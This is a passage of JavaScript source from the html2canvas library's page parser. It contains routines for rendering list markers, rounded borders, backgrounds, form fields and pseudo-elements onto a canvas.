bounds = _html2canvas.Util.Bounds(boundElement);
element.removeChild(boundElement);
element.style.listStyleType = originalType;
return bounds;
}
function elementIndex( el ) {
var i = -1,
count = 1,
childs = el.parentNode.childNodes;
if (el.parentNode) {
while( childs[ ++i ] !== el ) {
if ( childs[ i ].nodeType === 1 ) {
count++;
}
}
return count;
} else {
return -1;
}
}
function listItemText(element, type) {
var currentIndex = elementIndex(element),
text;
switch(type){
case "decimal":
text = currentIndex;
break;
case "decimal-leading-zero":
text = (currentIndex.toString().length === 1) ? currentIndex = "0" + currentIndex.toString() : currentIndex.toString();
break;
case "upper-roman":
text = _html2canvas.Generate.ListRoman( currentIndex );
break;
case "lower-roman":
text = _html2canvas.Generate.ListRoman( currentIndex ).toLowerCase();
break;
case "lower-alpha":
text = _html2canvas.Generate.ListAlpha( currentIndex ).toLowerCase();
break;
case "upper-alpha":
text = _html2canvas.Generate.ListAlpha( currentIndex );
break;
}
text += ". ";
return text;
}
function renderListItem(element, stack, elBounds) {
var x,
text,
ctx = stack.ctx,
type = getCSS(element, "listStyleType"),
listBounds;
if (/^(decimal|decimal-leading-zero|upper-alpha|upper-latin|upper-roman|lower-alpha|lower-greek|lower-latin|lower-roman)$/i.test(type)) {
text = listItemText(element, type);
listBounds = listPosition(element, text);
setTextVariables(ctx, element, "none", getCSS(element, "color"));
if (getCSS(element, "listStylePosition") === "inside") {
ctx.setVariable("textAlign", "left");
x = elBounds.left;
} else {
return;
}
drawText(text, x, listBounds.bottom, ctx);
}
}
function loadImage (src){
var img = images[src];
if (img && img.succeeded === true) {
return img.img;
} else {
return false;
}
}
function clipBounds(src, dst){
var x = Math.max(src.left, dst.left),
y = Math.max(src.top, dst.top),
x2 = Math.min((src.left + src.width), (dst.left + dst.width)),
y2 = Math.min((src.top + src.height), (dst.top + dst.height));
return {
left:x,
top:y,
width:x2-x,
height:y2-y
};
}
function setZ(zIndex, parentZ){
// TODO fix static elements overlapping relative/absolute elements under same stack, if they are defined after them
var newContext;
if (!parentZ){
newContext = h2czContext(0);
return newContext;
}
if (zIndex !== "auto"){
newContext = h2czContext(zIndex);
parentZ.children.push(newContext);
return newContext;
}
return parentZ;
}
function renderImage(ctx, element, image, bounds, borders) {
var paddingLeft = getCSSInt(element, 'paddingLeft'),
paddingTop = getCSSInt(element, 'paddingTop'),
paddingRight = getCSSInt(element, 'paddingRight'),
paddingBottom = getCSSInt(element, 'paddingBottom');
drawImage(
ctx,
image,
0, //sx
0, //sy
image.width, //sw
image.height, //sh
bounds.left + paddingLeft + borders[3].width, //dx
bounds.top + paddingTop + borders[0].width, // dy
bounds.width - (borders[1].width + borders[3].width + paddingLeft + paddingRight), //dw
bounds.height - (borders[0].width + borders[2].width + paddingTop + paddingBottom) //dh
);
}
function getBorderData(element) {
return ["Top", "Right", "Bottom", "Left"].map(function(side) {
return {
width: getCSSInt(element, 'border' + side + 'Width'),
color: getCSS(element, 'border' + side + 'Color')
};
});
}
function getBorderRadiusData(element) {
return ["TopLeft", "TopRight", "BottomRight", "BottomLeft"].map(function(side) {
return getCSS(element, 'border' + side + 'Radius');
});
}
var getCurvePoints = (function(kappa) {
return function(x, y, r1, r2) {
var ox = (r1) * kappa, // control point offset horizontal
oy = (r2) * kappa, // control point offset vertical
xm = x + r1, // x-middle
ym = y + r2; // y-middle
return {
topLeft: bezierCurve({
x:x,
y:ym
}, {
x:x,
y:ym - oy
}, {
x:xm - ox,
y:y
}, {
x:xm,
y:y
}),
topRight: bezierCurve({
x:x,
y:y
}, {
x:x + ox,
y:y
}, {
x:xm,
y:ym - oy
}, {
x:xm,
y:ym
}),
bottomRight: bezierCurve({
x:xm,
y:y
}, {
x:xm,
y:y + oy
}, {
x:x + ox,
y:ym
}, {
x:x,
y:ym
}),
bottomLeft: bezierCurve({
x:xm,
y:ym
}, {
x:xm - ox,
y:ym
}, {
x:x,
y:y + oy
}, {
x:x,
y:y
})
};
};
})(4 * ((Math.sqrt(2) - 1) / 3));
function bezierCurve(start, startControl, endControl, end) {
var lerp = function (a, b, t) {
return {
x:a.x + (b.x - a.x) * t,
y:a.y + (b.y - a.y) * t
};
};
return {
start: start,
startControl: startControl,
endControl: endControl,
end: end,
subdivide: function(t) {
var ab = lerp(start, startControl, t),
bc = lerp(startControl, endControl, t),
cd = lerp(endControl, end, t),
abbc = lerp(ab, bc, t),
bccd = lerp(bc, cd, t),
dest = lerp(abbc, bccd, t);
return [bezierCurve(start, ab, abbc, dest), bezierCurve(dest, bccd, cd, end)];
},
curveTo: function(borderArgs) {
borderArgs.push(["bezierCurve", startControl.x, startControl.y, endControl.x, endControl.y, end.x, end.y]);
},
curveToReversed: function(borderArgs) {
borderArgs.push(["bezierCurve", endControl.x, endControl.y, startControl.x, startControl.y, start.x, start.y]);
}
};
}
function parseCorner(borderArgs, radius1, radius2, corner1, corner2, x, y) {
if (radius1[0] > 0 || radius1[1] > 0) {
borderArgs.push(["line", corner1[0].start.x, corner1[0].start.y]);
corner1[0].curveTo(borderArgs);
corner1[1].curveTo(borderArgs);
} else {
borderArgs.push(["line", x, y]);
}
if (radius2[0] > 0 || radius2[1] > 0) {
borderArgs.push(["line", corner2[0].start.x, corner2[0].start.y]);
}
}
function drawSide(borderData, radius1, radius2, outer1, inner1, outer2, inner2) {
var borderArgs = [];
if (radius1[0] > 0 || radius1[1] > 0) {
borderArgs.push(["line", outer1[1].start.x, outer1[1].start.y]);
outer1[1].curveTo(borderArgs);
} else {
borderArgs.push([ "line", borderData.c1[0], borderData.c1[1]]);
}
if (radius2[0] > 0 || radius2[1] > 0) {
borderArgs.push(["line", outer2[0].start.x, outer2[0].start.y]);
outer2[0].curveTo(borderArgs);
borderArgs.push(["line", inner2[0].end.x, inner2[0].end.y]);
inner2[0].curveToReversed(borderArgs);
} else {
borderArgs.push([ "line", borderData.c2[0], borderData.c2[1]]);
borderArgs.push([ "line", borderData.c3[0], borderData.c3[1]]);
}
if (radius1[0] > 0 || radius1[1] > 0) {
borderArgs.push(["line", inner1[1].end.x, inner1[1].end.y]);
inner1[1].curveToReversed(borderArgs);
} else {
borderArgs.push([ "line", borderData.c4[0], borderData.c4[1]]);
}
return borderArgs;
}
function calculateCurvePoints(bounds, borderRadius, borders) {
var x = bounds.left,
y = bounds.top,
width = bounds.width,
height = bounds.height,
tlh = borderRadius[0][0],
tlv = borderRadius[0][1],
trh = borderRadius[1][0],
trv = borderRadius[1][1],
brv = borderRadius[2][0],
brh = borderRadius[2][1],
blh = borderRadius[3][0],
blv = borderRadius[3][1],
topWidth = width - trh,
rightHeight = height - brv,
bottomWidth = width - brh,
leftHeight = height - blv;
return {
topLeftOuter: getCurvePoints(
x,
y,
tlh,
tlv
).topLeft.subdivide(0.5),
topLeftInner: getCurvePoints(
x + borders[3].width,
y + borders[0].width,
Math.max(0, tlh - borders[3].width),
Math.max(0, tlv - borders[0].width)
).topLeft.subdivide(0.5),
topRightOuter: getCurvePoints(
x + topWidth,
y,
trh,
trv
).topRight.subdivide(0.5),
topRightInner: getCurvePoints(
x + Math.min(topWidth, width + borders[3].width),
y + borders[0].width,
(topWidth > width + borders[3].width) ? 0 :trh - borders[3].width,
trv - borders[0].width
).topRight.subdivide(0.5),
bottomRightOuter: getCurvePoints(
x + bottomWidth,
y + rightHeight,
brh,
brv
).bottomRight.subdivide(0.5),
bottomRightInner: getCurvePoints(
x + Math.min(bottomWidth, width + borders[3].width),
y + Math.min(rightHeight, height + borders[0].width),
Math.max(0, brh - borders[1].width),
Math.max(0, brv - borders[2].width)
).bottomRight.subdivide(0.5),
bottomLeftOuter: getCurvePoints(
x,
y + leftHeight,
blh,
blv
).bottomLeft.subdivide(0.5),
bottomLeftInner: getCurvePoints(
x + borders[3].width,
y + leftHeight,
Math.max(0, blh - borders[3].width),
Math.max(0, blv - borders[2].width)
).bottomLeft.subdivide(0.5)
};
}
function getBorderClip(element, borderPoints, borders, radius, bounds) {
var backgroundClip = getCSS(element, 'backgroundClip'),
borderArgs = [];
switch(backgroundClip) {
case "content-box":
case "padding-box":
parseCorner(borderArgs, radius[0], radius[1], borderPoints.topLeftInner, borderPoints.topRightInner, bounds.left + borders[3].width, bounds.top + borders[0].width);
parseCorner(borderArgs, radius[1], radius[2], borderPoints.topRightInner, borderPoints.bottomRightInner, bounds.left + bounds.width - borders[1].width, bounds.top + borders[0].width);
parseCorner(borderArgs, radius[2], radius[3], borderPoints.bottomRightInner, borderPoints.bottomLeftInner, bounds.left + bounds.width - borders[1].width, bounds.top + bounds.height - borders[2].width);
parseCorner(borderArgs, radius[3], radius[0], borderPoints.bottomLeftInner, borderPoints.topLeftInner, bounds.left + borders[3].width, bounds.top + bounds.height - borders[2].width);
break;
default:
parseCorner(borderArgs, radius[0], radius[1], borderPoints.topLeftOuter, borderPoints.topRightOuter, bounds.left, bounds.top);
parseCorner(borderArgs, radius[1], radius[2], borderPoints.topRightOuter, borderPoints.bottomRightOuter, bounds.left + bounds.width, bounds.top);
parseCorner(borderArgs, radius[2], radius[3], borderPoints.bottomRightOuter, borderPoints.bottomLeftOuter, bounds.left + bounds.width, bounds.top + bounds.height);
parseCorner(borderArgs, radius[3], radius[0], borderPoints.bottomLeftOuter, borderPoints.topLeftOuter, bounds.left, bounds.top + bounds.height);
break;
}
return borderArgs;
}
function parseBorders(element, bounds, borders){
var x = bounds.left,
y = bounds.top,
width = bounds.width,
height = bounds.height,
borderSide,
bx,
by,
bw,
bh,
borderArgs,
// http://www.w3.org/TR/css3-background/#the-border-radius
borderRadius = getBorderRadiusData(element),
borderPoints = calculateCurvePoints(bounds, borderRadius, borders),
borderData = {
clip: getBorderClip(element, borderPoints, borders, borderRadius, bounds),
borders: []
};
for (borderSide = 0; borderSide < 4; borderSide++) {
if (borders[borderSide].width > 0) {
bx = x;
by = y;
bw = width;
bh = height - (borders[2].width);
switch(borderSide) {
case 0:
// top border
bh = borders[0].width;
borderArgs = drawSide({
c1: [bx, by],
c2: [bx + bw, by],
c3: [bx + bw - borders[1].width, by + bh],
c4: [bx + borders[3].width, by + bh]
}, borderRadius[0], borderRadius[1],
borderPoints.topLeftOuter, borderPoints.topLeftInner, borderPoints.topRightOuter, borderPoints.topRightInner);
break;
case 1:
// right border
bx = x + width - (borders[1].width);
bw = borders[1].width;
borderArgs = drawSide({
c1: [bx + bw, by],
c2: [bx + bw, by + bh + borders[2].width],
c3: [bx, by + bh],
c4: [bx, by + borders[0].width]
}, borderRadius[1], borderRadius[2],
borderPoints.topRightOuter, borderPoints.topRightInner, borderPoints.bottomRightOuter, borderPoints.bottomRightInner);
break;
case 2:
// bottom border
by = (by + height) - (borders[2].width);
bh = borders[2].width;
borderArgs = drawSide({
c1: [bx + bw, by + bh],
c2: [bx, by + bh],
c3: [bx + borders[3].width, by],
c4: [bx + bw - borders[2].width, by]
}, borderRadius[2], borderRadius[3],
borderPoints.bottomRightOuter, borderPoints.bottomRightInner, borderPoints.bottomLeftOuter, borderPoints.bottomLeftInner);
break;
case 3:
// left border
bw = borders[3].width;
borderArgs = drawSide({
c1: [bx, by + bh + borders[2].width],
c2: [bx, by],
c3: [bx + bw, by + borders[0].width],
c4: [bx + bw, by + bh]
}, borderRadius[3], borderRadius[0],
borderPoints.bottomLeftOuter, borderPoints.bottomLeftInner, borderPoints.topLeftOuter, borderPoints.topLeftInner);
break;
}
borderData.borders.push({
args: borderArgs,
color: borders[borderSide].color
});
}
}
return borderData;
}
function createShape(ctx, args) {
var shape = ctx.drawShape();
args.forEach(function(border, index) {
shape[(index === 0) ? "moveTo" : border[0] + "To" ].apply(null, border.slice(1));
});
return shape;
}
function renderBorders(ctx, borderArgs, color) {
if (color !== "transparent") {
ctx.setVariable( "fillStyle", color);
createShape(ctx, borderArgs);
ctx.fill();
numDraws+=1;
}
}
function renderFormValue (el, bounds, stack){
var valueWrap = doc.createElement('valuewrap'),
cssPropertyArray = ['lineHeight','textAlign','fontFamily','color','fontSize','paddingLeft','paddingTop','width','height','border','borderLeftWidth','borderTopWidth'],
textValue,
textNode;
cssPropertyArray.forEach(function(property) {
try {
valueWrap.style[property] = getCSS(el, property);
} catch(e) {
// Older IE has issues with "border"
h2clog("html2canvas: Parse: Exception caught in renderFormValue: " + e.message);
}
});
valueWrap.style.borderColor = "black";
valueWrap.style.borderStyle = "solid";
valueWrap.style.display = "block";
valueWrap.style.position = "absolute";
if (/^(submit|reset|button|text|password)$/.test(el.type) || el.nodeName === "SELECT"){
valueWrap.style.lineHeight = getCSS(el, "height");
}
valueWrap.style.top = bounds.top + "px";
valueWrap.style.left = bounds.left + "px";
textValue = (el.nodeName === "SELECT") ? (el.options[el.selectedIndex] || 0).text : el.value;
if(!textValue) {
textValue = el.placeholder;
}
textNode = doc.createTextNode(textValue);
valueWrap.appendChild(textNode);
body.appendChild(valueWrap);
renderText(el, textNode, stack);
body.removeChild(valueWrap);
}
function drawImage (ctx) {
ctx.drawImage.apply(ctx, Array.prototype.slice.call(arguments, 1));
numDraws+=1;
}
function getPseudoElement(el, which) {
var elStyle = window.getComputedStyle(el, which);
if(!elStyle || !elStyle.content || elStyle.content === "none" || elStyle.content === "-moz-alt-content") {
return;
}
var content = elStyle.content + '',
first = content.substr( 0, 1 );
//strips quotes
if(first === content.substr( content.length - 1 ) && first.match(/'|"/)) {
content = content.substr( 1, content.length - 2 );
}
var isImage = content.substr( 0, 3 ) === 'url',
elps = document.createElement( isImage ? 'img' : 'span' );
elps.className = pseudoHide + "-before " + pseudoHide + "-after";
Object.keys(elStyle).filter(indexedProperty).forEach(function(prop) {
// Prevent assigning of read only CSS Rules, ex. length, parentRule
try {
elps.style[prop] = elStyle[prop];
} catch (e) {
h2clog(['Tried to assign readonly property ', prop, 'Error:', e]);
}
});
if(isImage) {
elps.src = _html2canvas.Util.parseBackgroundImage(content)[0].args[0];
} else {
elps.innerHTML = content;
}
return elps;
}
function indexedProperty(property) {
return (isNaN(window.parseInt(property, 10)));
}
function injectPseudoElements(el, stack) {
var before = getPseudoElement(el, ':before'),
after = getPseudoElement(el, ':after');
if(!before && !after) {
return;
}
if(before) {
el.className += " " + pseudoHide + "-before";
el.parentNode.insertBefore(before, el);
parseElement(before, stack, true);
el.parentNode.removeChild(before);
el.className = el.className.replace(pseudoHide + "-before", "").trim();
}
if (after) {
el.className += " " + pseudoHide + "-after";
el.appendChild(after);
parseElement(after, stack, true);
el.removeChild(after);
el.className = el.className.replace(pseudoHide + "-after", "").trim();
}
}
function renderBackgroundRepeat(ctx, image, backgroundPosition, bounds) {
var offsetX = Math.round(bounds.left + backgroundPosition.left),
offsetY = Math.round(bounds.top + backgroundPosition.top);
ctx.createPattern(image);
ctx.translate(offsetX, offsetY);
ctx.fill();
ctx.translate(-offsetX, -offsetY);
}
function backgroundRepeatShape(ctx, image, backgroundPosition, bounds, left, top, width, height) {
var args = [];
args.push(["line", Math.round(left), Math.round(top)]);
args.push(["line", Math.round(left + width), Math.round(top)]);
args.push(["line", Math.round(left + width), Math.round(height + top)]);
args.push(["line", Math.round(left), Math.round(height + top)]);
createShape(ctx, args);
ctx.save();
ctx.clip();
renderBackgroundRepeat(ctx, image, backgroundPosition, bounds);
ctx.restore();
}
function renderBackgroundColor(ctx, backgroundBounds, bgcolor) {
renderRect(
ctx,
backgroundBounds.left,
backgroundBounds.top,
backgroundBounds.width,
backgroundBounds.height,
bgcolor
);
}
function renderBackgroundRepeating(el, bounds, ctx, image, imageIndex) {
var backgroundSize = _html2canvas.Util.BackgroundSize(el, bounds, image, imageIndex),
backgroundPosition = _html2canvas.Util.BackgroundPosition(el, bounds, image, imageIndex, backgroundSize),
backgroundRepeat = getCSS(el, "backgroundRepeat").split(",").map(function(value) {
return value.trim();
});
image = resizeImage(image, backgroundSize);
backgroundRepeat = backgroundRepeat[imageIndex] || backgroundRepeat[0];
switch (backgroundRepeat) {
case "repeat-x":
backgroundRepeatShape(ctx, image, backgroundPosition, bounds,
bounds.left, bounds.top + backgroundPosition.top, 99999, image.height);
break;
case "repeat-y":
backgroundRepeatShape(ctx, image, backgroundPosition, bounds,
bounds.left + backgroundPosition.left, bounds.top, image.width, 99999);
break;
case "no-repeat":
backgroundRepeatShape(ctx, image, backgroundPosition, bounds,
bounds.left + backgroundPosition.left, bounds.top + backgroundPosition.top, image.width, image.height);
break;
default:
renderBackgroundRepeat(ctx, image, backgroundPosition, {
top: bounds.top,
left: bounds.left,
width: image.width,
height: image.height
});
break;
}
}
function renderBackgroundImage(element, bounds, ctx) {
var backgroundImage = getCSS(element, "backgroundImage"),
backgroundImages = _html2canvas.Util.parseBackgroundImage(backgroundImage),
image,
imageIndex = backgroundImages.length;
while(imageIndex--) {
backgroundImage = backgroundImages[imageIndex];
if (!backgroundImage.args || backgroundImage.args.length === 0) {
continue;
}
var key = backgroundImage.method === 'url' ?
backgroundImage.args[0] :
backgroundImage.value;
image = loadImage(key);
// TODO add support for background-origin
if (image) {
renderBackgroundRepeating(element, bounds, ctx, image, imageIndex);
} else {
h2clog("html2canvas: Error loading background:", backgroundImage);
}
}
}
function resizeImage(image, bounds) {
if(image.width === bounds.width && image.height === bounds.height) {
return image;
}
var ctx, canvas = doc.createElement('canvas');
canvas.width = bounds.width;
canvas.height = bounds.height;
ctx = canvas.getContext("2d");
drawImage(ctx, image, 0, 0, image.width, image.height, 0, 0, bounds.width, bounds.height );
return canvas;
}
function setOpacity(ctx, element, parentStack) {
var opacity = getCSS(element, "opacity") * ((parentStack) ? parentStack.opacity : 1);
ctx.setVariable("globalAlpha", opacity);
return opacity;
}
function createStack(element, parentStack, bounds) {
var ctx = h2cRenderContext((!parentStack) ? documentWidth() : bounds.width , (!parentStack) ? documentHeight() : bounds.height),
stack = {
ctx: ctx,
zIndex: setZ(getCSS(element, "zIndex"), (parentStack) ? parentStack.zIndex : null),
opacity: setOpacity(ctx, element, parentStack),
cssPosition: getCSS(element, "position"),
borders: getBorderData(element),
clip: (parentStack && parentStack.clip) ? _html2canvas.Util.Extend( {}, parentStack.clip ) : null
};
// TODO correct overflow for absolute content residing under a static position
if (options.useOverflow === true && /(hidden|scroll|auto)/.test(getCSS(element, "overflow")) === true && /(BODY)/i.test(element.nodeName) === false){
stack.clip = (stack.clip) ? clipBounds(stack.clip, bounds) : bounds;
}
stack.zIndex.children.push(stack);
return stack;
}
function getBackgroundBounds(borders, bounds, clip) {
var backgroundBounds = {
left: bounds.left + borders[3].width,
top: bounds.top + borders[0].width,
width: bounds.width - (borders[1].width + borders[3].width),
height: bounds.height - (borders[0].width + borders[2].width)
};
if (clip) {
backgroundBounds = clipBounds(backgroundBounds, clip);
}
return backgroundBounds;
}
function renderElement(element, parentStack, pseudoElement){
var bounds = _html2canvas.Util.Bounds(element),
image,
bgcolor = (ignoreElementsRegExp.test(element.nodeName)) ? "#efefef" : getCSS(element, "backgroundColor"),
stack = createStack(element, parentStack, bounds),
borders = stack.borders,
ctx = stack.ctx,
backgroundBounds = getBackgroundBounds(borders, bounds, stack.clip),
borderData = parseBorders(element, bounds, borders);
createShape(ctx, borderData.clip);
ctx.save();
ctx.clip();
if (backgroundBounds.height > 0 && backgroundBounds.width > 0){
renderBackgroundColor(ctx, bounds, bgcolor);
renderBackgroundImage(element, backgroundBounds, ctx);
}
ctx.restore();
borderData.borders.forEach(function(border) {
renderBorders(ctx, border.args, border.color);
});
if (!pseudoElement) {
injectPseudoElements(element, stack);
}
switch(element.nodeName){
case "IMG":
if ((image = loadImage(element.getAttribute('src')))) {
renderImage(ctx, element, image, bounds, borders);
} else {
h2clog("html2canvas: Error loading <img>:" + element.getAttribute('src'));
}
break;
case "INPUT":
// TODO add all relevant type's, i.e. HTML5 new stuff
// todo add support for placeholder attribute for browsers which support it
if (/^(text|url|email|submit|button|reset)$/.test(element.type) && (element.value || element.placeholder).length > 0){
renderFormValue(element, bounds, stack);
}
break;
case "TEXTAREA":
if ((element.value || element.placeholder || "").length > 0){
renderFormValue(element, bounds, stack);
}
break;
case "SELECT":
if ((element.options||element.placeholder || "").length > 0){
renderFormValue(element, bounds, stack);
}
break;
case "LI":
renderListItem(element, stack, backgroundBounds);
break;
case "CANVAS":
renderImage(ctx, element, element, bounds, borders);
break;
}
return stack;
}
function isElementVisible(element) {
return (getCSS(element, 'display') !== "none" && getCSS(element, 'visibility') !== "hidden" && !element.hasAttribute("data-html2canvas-ignore"));
}
function parseElement (el, stack, pseudoElement) {
if (isElementVisible(el)) {
stack = renderElement(el, stack, pseudoElement) || stack;
if (!ignoreElementsRegExp.test(el.nodeName)) {
_html2canvas.Util.Children(el).forEach(function(node) {
if (node.nodeType === 1) {
parseElement(node, stack, pseudoElement);
} else if (node.nodeType === 3) {
renderText(el, node, stack);
}
});
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